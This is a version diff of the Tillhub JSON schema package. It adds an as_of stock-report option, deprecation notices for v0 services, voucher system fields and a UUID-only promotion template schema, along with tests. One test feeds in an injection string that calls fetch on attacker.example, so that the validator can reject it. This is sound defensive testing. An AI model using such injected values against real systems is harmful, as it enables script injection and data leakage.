@tillhub/schemas 6.450.0 → 6.452.0

package/lib/v0/analytics/reports/stocks/index.js

@@ -89,19 +89,37 @@ module.exports.request = {
       minLength: 1,
       maxLength: 64
     },
+    as_of: {
+      type: 'string',
+      format: 'date-time',
+      example: '2025-12-31T22:59:59.999Z',
+      description:
+        'ISO 8601 cut-off (inclusive). When set, Quantity Available is the latest stock-book balance at this instant per product × location. Send this or the start/end pair, not both. Omit both modes to return current stock.'
+    },
     start: {
       type: 'string',
       format: 'date-time',
       example: '2026-05-07T22:00:00.000Z',
       description:
-        'Url-safe ISO 8601 start of the reporting window. Filters stock rows by `updated_at` when set. Also used as the report `date` when `end` is omitted.'
+        'Url-safe ISO 8601 start of the reporting window. Use with `end` as a pair to filter current stock rows by `updated_at`. Cannot be combined with `as_of`. Also used as the report `date` when `end` is omitted.'
     },
     end: {
       type: 'string',
       format: 'date-time',
       example: '2026-05-08T21:59:59.999Z',
       description:
-        'Url-safe ISO 8601 end of the reporting window. Filters stock rows by `updated_at` when set. Preferred source for the report `date` column when set.'
+        'Url-safe ISO 8601 end of the reporting window. Use with `start` as a pair to filter current stock rows by `updated_at`. Cannot be combined with `as_of`. Preferred source for the report `date` column when set.'
+    }
+  },
+  allOf: [
+    {
+      description: 'Clients send either as_of or the start/end pair, not both.',
+      not: {
+        anyOf: [
+          { required: ['as_of', 'start'] },
+          { required: ['as_of', 'end'] }
+        ]
+      }
     }
-  }
+  ]
 }

package/lib/v0/service_categories/base.js

@@ -1,6 +1,9 @@
 const base = require('../product_groups/base')
 const { oneOf } = require('../../helpers/payload-or-null')
 
+const DEPRECATION_NOTICE =
+  'Service Categories v0 are deprecated, use v1 schemas instead'
+
 const request = {
   ...base.request,
   properties: {
@@ -21,10 +24,13 @@ const request = {
       default: false
     }
   },
-  required: ['name']
+  required: ['name'],
+  deprecated: true,
+  description: DEPRECATION_NOTICE
 }
 
 module.exports = {
+  DEPRECATION_NOTICE,
   request,
   response: {
     ...request,
@@ -37,6 +43,8 @@ module.exports = {
         example: '05297f58-3408-44d0-8bf4-125d4e86c08a'
       },
       ...request.properties
-    }
+    },
+    deprecated: true,
+    description: DEPRECATION_NOTICE
   }
 }

package/lib/v0/service_categories/create.response.js

@@ -1,8 +1,10 @@
-const { response } = require('./base')
+const { response, DEPRECATION_NOTICE } = require('./base')
 const commonResponse = require('../../common/response')
 
 module.exports = {
   $id: 'https://schemas.tillhub.com/v0/service_categories.create.response.schema.json',
   $schema: 'http://json-schema.org/draft-07/schema#',
-  ...commonResponse({ resultItems: response })
+  ...commonResponse({ resultItems: response }),
+  deprecated: true,
+  description: DEPRECATION_NOTICE
 }

package/lib/v0/service_categories/update.response.js

@@ -1,8 +1,10 @@
-const { response } = require('./base')
+const { response, DEPRECATION_NOTICE } = require('./base')
 const commonResponse = require('../../common/response')
 
 module.exports = {
   $id: 'https://schemas.tillhub.com/v0/service_categories.update.response.schema.json',
   $schema: 'http://json-schema.org/draft-07/schema#',
-  ...commonResponse({ resultItems: response })
+  ...commonResponse({ resultItems: response }),
+  deprecated: true,
+  description: DEPRECATION_NOTICE
 }

package/lib/v0/services/create.request.js

@@ -1,4 +1,5 @@
 const base = require('../products/create')
+const { DEPRECATION_NOTICE } = require('./deprecation')
 const { oneOf } = require('../../helpers/payload-or-null')
 
 module.exports = {
@@ -44,6 +45,8 @@ module.exports = {
     }
   },
   required: ['name', 'duration', 'linked_product'],
+  deprecated: true,
+  description: DEPRECATION_NOTICE,
   $id: 'https://schemas.tillhub.com/v0/services.create.request.schema.json',
   $schema: 'http://json-schema.org/draft-07/schema#'
 }

package/lib/v0/services/create.response.js

@@ -1,4 +1,5 @@
 const request = require('./create.request')
+const { DEPRECATION_NOTICE } = require('./deprecation')
 const commonResponse = require('../../common/response')
 
 const response = {
@@ -18,5 +19,7 @@ const response = {
 module.exports = {
   $id: 'https://schemas.tillhub.com/v0/services.create.response.schema.json',
   $schema: 'http://json-schema.org/draft-07/schema#',
-  ...commonResponse({ resultItems: response })
+  ...commonResponse({ resultItems: response }),
+  deprecated: true,
+  description: DEPRECATION_NOTICE
 }

package/lib/v0/services/deprecation.js

@@ -0,0 +1,3 @@
+module.exports = {
+  DEPRECATION_NOTICE: 'Services v0 are deprecated, use v1 schemas instead'
+}

package/lib/v0/services/update.request.js

@@ -1,4 +1,5 @@
 const base = require('../products/update')
+const { DEPRECATION_NOTICE } = require('./deprecation')
 const { oneOf } = require('../../helpers/payload-or-null')
 
 module.exports = {
@@ -43,6 +44,8 @@ module.exports = {
     }
   },
   required: [],
+  deprecated: true,
+  description: DEPRECATION_NOTICE,
   $id: 'https://schemas.tillhub.com/v0/services.update.request.schema.json',
   $schema: 'http://json-schema.org/draft-07/schema#'
 }

package/lib/v0/services/update.response.js

@@ -1,4 +1,5 @@
 const request = require('./update.request')
+const { DEPRECATION_NOTICE } = require('./deprecation')
 const commonResponse = require('../../common/response')
 
 const response = {
@@ -18,5 +19,7 @@ const response = {
 module.exports = {
   $id: 'https://schemas.tillhub.com/v0/services.update.response.schema.json',
   $schema: 'http://json-schema.org/draft-07/schema#',
-  ...commonResponse({ resultItems: response })
+  ...commonResponse({ resultItems: response }),
+  deprecated: true,
+  description: DEPRECATION_NOTICE
 }

package/lib/v0/vouchers/query.js

@@ -135,20 +135,21 @@ module.exports = {
     format: 'date-time'
   },
   system: {
-    oneOf: [
-      {
-        type: 'array',
-        minItems: 1,
-        items: {
-          type: 'string',
-          format: 'uuid'
-        }
-      },
-      {
-        type: 'string',
-        format: 'uuid'
-      }
-    ]
+    type: 'string',
+    format: 'uuid'
+  },
+  voucher_system: {
+    type: 'string',
+    format: 'uuid'
+  },
+  systems: {
+    type: 'array',
+    minItems: 1,
+    maxItems: 50,
+    items: {
+      type: 'string',
+      format: 'uuid'
+    }
   },
   location: {
     oneOf: [

package/lib/v1/promotions/index.js

@@ -1,2 +1,3 @@
 module.exports.create = require('./create')
 module.exports.update = require('./update')
+module.exports.templateSecurity = require('./template-security')

package/lib/v1/promotions/template-security.js

@@ -0,0 +1,176 @@
+const TYPES = {
+  EXCLUSIVE_BUNDLE: 'product_property:exclusive_bundle:output_properties',
+  AND_OR_CONCAT: 'product_property:and_or_concat:output_properties',
+  ENTIRE_BASKET: 'product_property:entire_basket:output_properties'
+}
+
+const uuidString = {
+  type: 'string',
+  format: 'uuid'
+}
+
+const uuidRef = {
+  oneOf: [
+    uuidString,
+    {
+      type: 'object',
+      required: ['id'],
+      additionalProperties: true,
+      properties: {
+        id: uuidString
+      }
+    }
+  ]
+}
+
+const uuidRefList = {
+  type: 'array',
+  items: uuidRef
+}
+
+const outputProperties = {
+  type: 'object',
+  required: ['property', 'value'],
+  additionalProperties: true,
+  properties: {
+    property: {
+      type: 'string',
+      enum: ['amount_total_gross', 'percentage_discount', 'amount_discount']
+    },
+    value: {
+      type: 'number'
+    }
+  }
+}
+
+/**
+ * Security-focused promotion template schema.
+ * Tightens identifier fields to UUID format.
+ */
+module.exports = {
+  $id: 'https://schemas.tillhub.com/v1/promotions.template-security.schema.json',
+  $schema: 'http://json-schema.org/draft-07/schema#',
+  oneOf: [
+    {
+      type: 'object',
+      required: ['type', 'inputs'],
+      additionalProperties: true,
+      properties: {
+        type: { const: TYPES.EXCLUSIVE_BUNDLE },
+        inputs: {
+          type: 'object',
+          required: ['promotable_product', 'bundle_junctions', 'output'],
+          additionalProperties: true,
+          properties: {
+            repeatable_promotable: { type: 'boolean' },
+            promotable_product: {
+              type: 'object',
+              required: ['value'],
+              additionalProperties: true,
+              properties: {
+                value: uuidString,
+                qty: { type: 'number' },
+                property: { type: 'string' }
+              }
+            },
+            bundle_junctions: {
+              type: 'array',
+              minItems: 1,
+              maxItems: 1,
+              items: {
+                type: 'object',
+                required: ['type', 'value'],
+                additionalProperties: true,
+                properties: {
+                  type: { const: 'product' },
+                  value: uuidString,
+                  qty: { type: 'number' },
+                  property: { type: 'string' }
+                }
+              }
+            },
+            output: outputProperties
+          }
+        }
+      }
+    },
+    {
+      type: 'object',
+      required: ['type', 'inputs'],
+      additionalProperties: true,
+      properties: {
+        type: { const: TYPES.AND_OR_CONCAT },
+        inputs: {
+          type: 'object',
+          required: ['promotable_product', 'bundle_junctions', 'output'],
+          additionalProperties: true,
+          properties: {
+            repeatable_promotable: { type: 'boolean' },
+            promotable_product: {
+              type: 'object',
+              required: ['value'],
+              additionalProperties: true,
+              properties: {
+                value: uuidString,
+                qty: { type: 'number' },
+                property: { type: 'string' }
+              }
+            },
+            bundle_junctions: {
+              type: 'array',
+              minItems: 2,
+              maxItems: 2,
+              items: {
+                type: 'object',
+                required: ['type', 'value'],
+                additionalProperties: true,
+                properties: {
+                  type: { enum: ['product', 'product_group'] },
+                  value: uuidRefList,
+                  qty: { type: 'number' },
+                  property: { type: 'string' }
+                }
+              }
+            },
+            output: outputProperties
+          }
+        }
+      }
+    },
+    {
+      type: 'object',
+      required: ['type', 'inputs'],
+      additionalProperties: true,
+      properties: {
+        type: { const: TYPES.ENTIRE_BASKET },
+        inputs: {
+          type: 'object',
+          required: ['promotable_product', 'promotable_product_group', 'required_amount', 'output'],
+          additionalProperties: true,
+          properties: {
+            promotable_product: {
+              type: 'object',
+              required: ['value'],
+              additionalProperties: true,
+              properties: {
+                value: uuidRefList,
+                property: { type: 'string' }
+              }
+            },
+            promotable_product_group: {
+              type: 'object',
+              required: ['value'],
+              additionalProperties: true,
+              properties: {
+                value: uuidRefList,
+                property: { type: 'string' }
+              }
+            },
+            required_amount: { type: 'number' },
+            output: outputProperties
+          }
+        }
+      }
+    }
+  ]
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@tillhub/schemas",
-  "version": "6.450.0",
+  "version": "6.452.0",
   "private": false,
   "description": "All Tillhub API OpenAPI 3 compatible JSON Schemas.",
   "main": "./lib/index.js",

package/test/analytics/reports/stocks/stocks.v0.spec.js

@@ -0,0 +1,51 @@
+const test = require('tape')
+const Ajv = require('ajv')
+const validate = require('../../../helpers/validate-schema')
+const stocksSchema = require('../../../../lib/v0/analytics/reports/stocks')
+
+const ajv = new Ajv()
+const validateRequest = ajv.compile(stocksSchema.request)
+
+const AS_OF = '2025-12-31T22:59:59.999Z'
+const START = '2026-05-07T22:00:00.000Z'
+const END = '2026-05-08T21:59:59.999Z'
+
+test('analytics:reports:stocks:v0: request schema is valid', function (t) {
+  t.plan(2)
+  const { valid, error } = validate(stocksSchema.request)
+  t.ok(valid, 'request schema is valid')
+  t.error(error, 'should not get any error')
+  t.end()
+})
+
+test('analytics:reports:stocks:v0: accepts as_of without start/end', function (t) {
+  t.plan(1)
+  t.ok(validateRequest({ as_of: AS_OF }), 'as_of alone is valid')
+  t.end()
+})
+
+test('analytics:reports:stocks:v0: accepts the start/end pair without as_of', function (t) {
+  t.plan(1)
+  t.ok(validateRequest({ start: START, end: END }), 'start/end pair is valid')
+  t.end()
+})
+
+test('analytics:reports:stocks:v0: accepts omitting both date modes', function (t) {
+  t.plan(1)
+  t.ok(validateRequest({}), 'current stock without as_of or start/end is valid')
+  t.end()
+})
+
+test('analytics:reports:stocks:v0: rejects as_of combined with start or end', function (t) {
+  t.plan(3)
+  t.notOk(validateRequest({ as_of: AS_OF, start: START }), 'as_of + start is invalid')
+  t.notOk(validateRequest({ as_of: AS_OF, end: END }), 'as_of + end is invalid')
+  t.notOk(validateRequest({ as_of: AS_OF, start: START, end: END }), 'as_of + start/end is invalid')
+  t.end()
+})
+
+test('analytics:reports:stocks:v0: rejects invalid as_of', function (t) {
+  t.plan(1)
+  t.notOk(validateRequest({ as_of: 'not-a-valid-iso8601' }), 'non-ISO as_of is invalid')
+  t.end()
+})

package/test/promotions/promotions.template-security.spec.js

@@ -0,0 +1,55 @@
+const Ajv = require('ajv')
+const test = require('tape')
+const templateSecurity = require('../../lib/v1/promotions/template-security')
+
+const ajv = new Ajv({ allErrors: true })
+const validate = ajv.compile(templateSecurity)
+
+const PROMOTABLE = '0e0ae64e-1499-435d-af31-5bc5d35b1ed2'
+const BUNDLE = 'e9516453-d974-430a-8277-7373bd392157'
+
+function exclusiveTemplate (promotableId = PROMOTABLE) {
+  return {
+    type: 'product_property:exclusive_bundle:output_properties',
+    inputs: {
+      repeatable_promotable: true,
+      promotable_product: {
+        property: 'id',
+        value: promotableId,
+        qty: 1
+      },
+      bundle_junctions: [{
+        type: 'product',
+        property: 'id',
+        value: BUNDLE,
+        qty: 1
+      }],
+      output: {
+        property: 'amount_total_gross',
+        value: 5
+      }
+    }
+  }
+}
+
+test('Promotions: template security schema accepts UUID identifiers', function (t) {
+  t.plan(1)
+  t.ok(validate(exclusiveTemplate()), 'valid identifiers should pass')
+})
+
+test('Promotions: template security schema rejects injectable identifiers', function (t) {
+  t.plan(1)
+  t.notOk(
+    validate(exclusiveTemplate('12"; fetch("https://attacker.example"); //')),
+    'non-UUID identifier should fail'
+  )
+})
+
+test('Promotions: template security schema is exported', function (t) {
+  t.plan(1)
+  t.equal(
+    require('../../lib/v1/promotions').templateSecurity,
+    templateSecurity,
+    'v1 promotions exports the security schema'
+  )
+})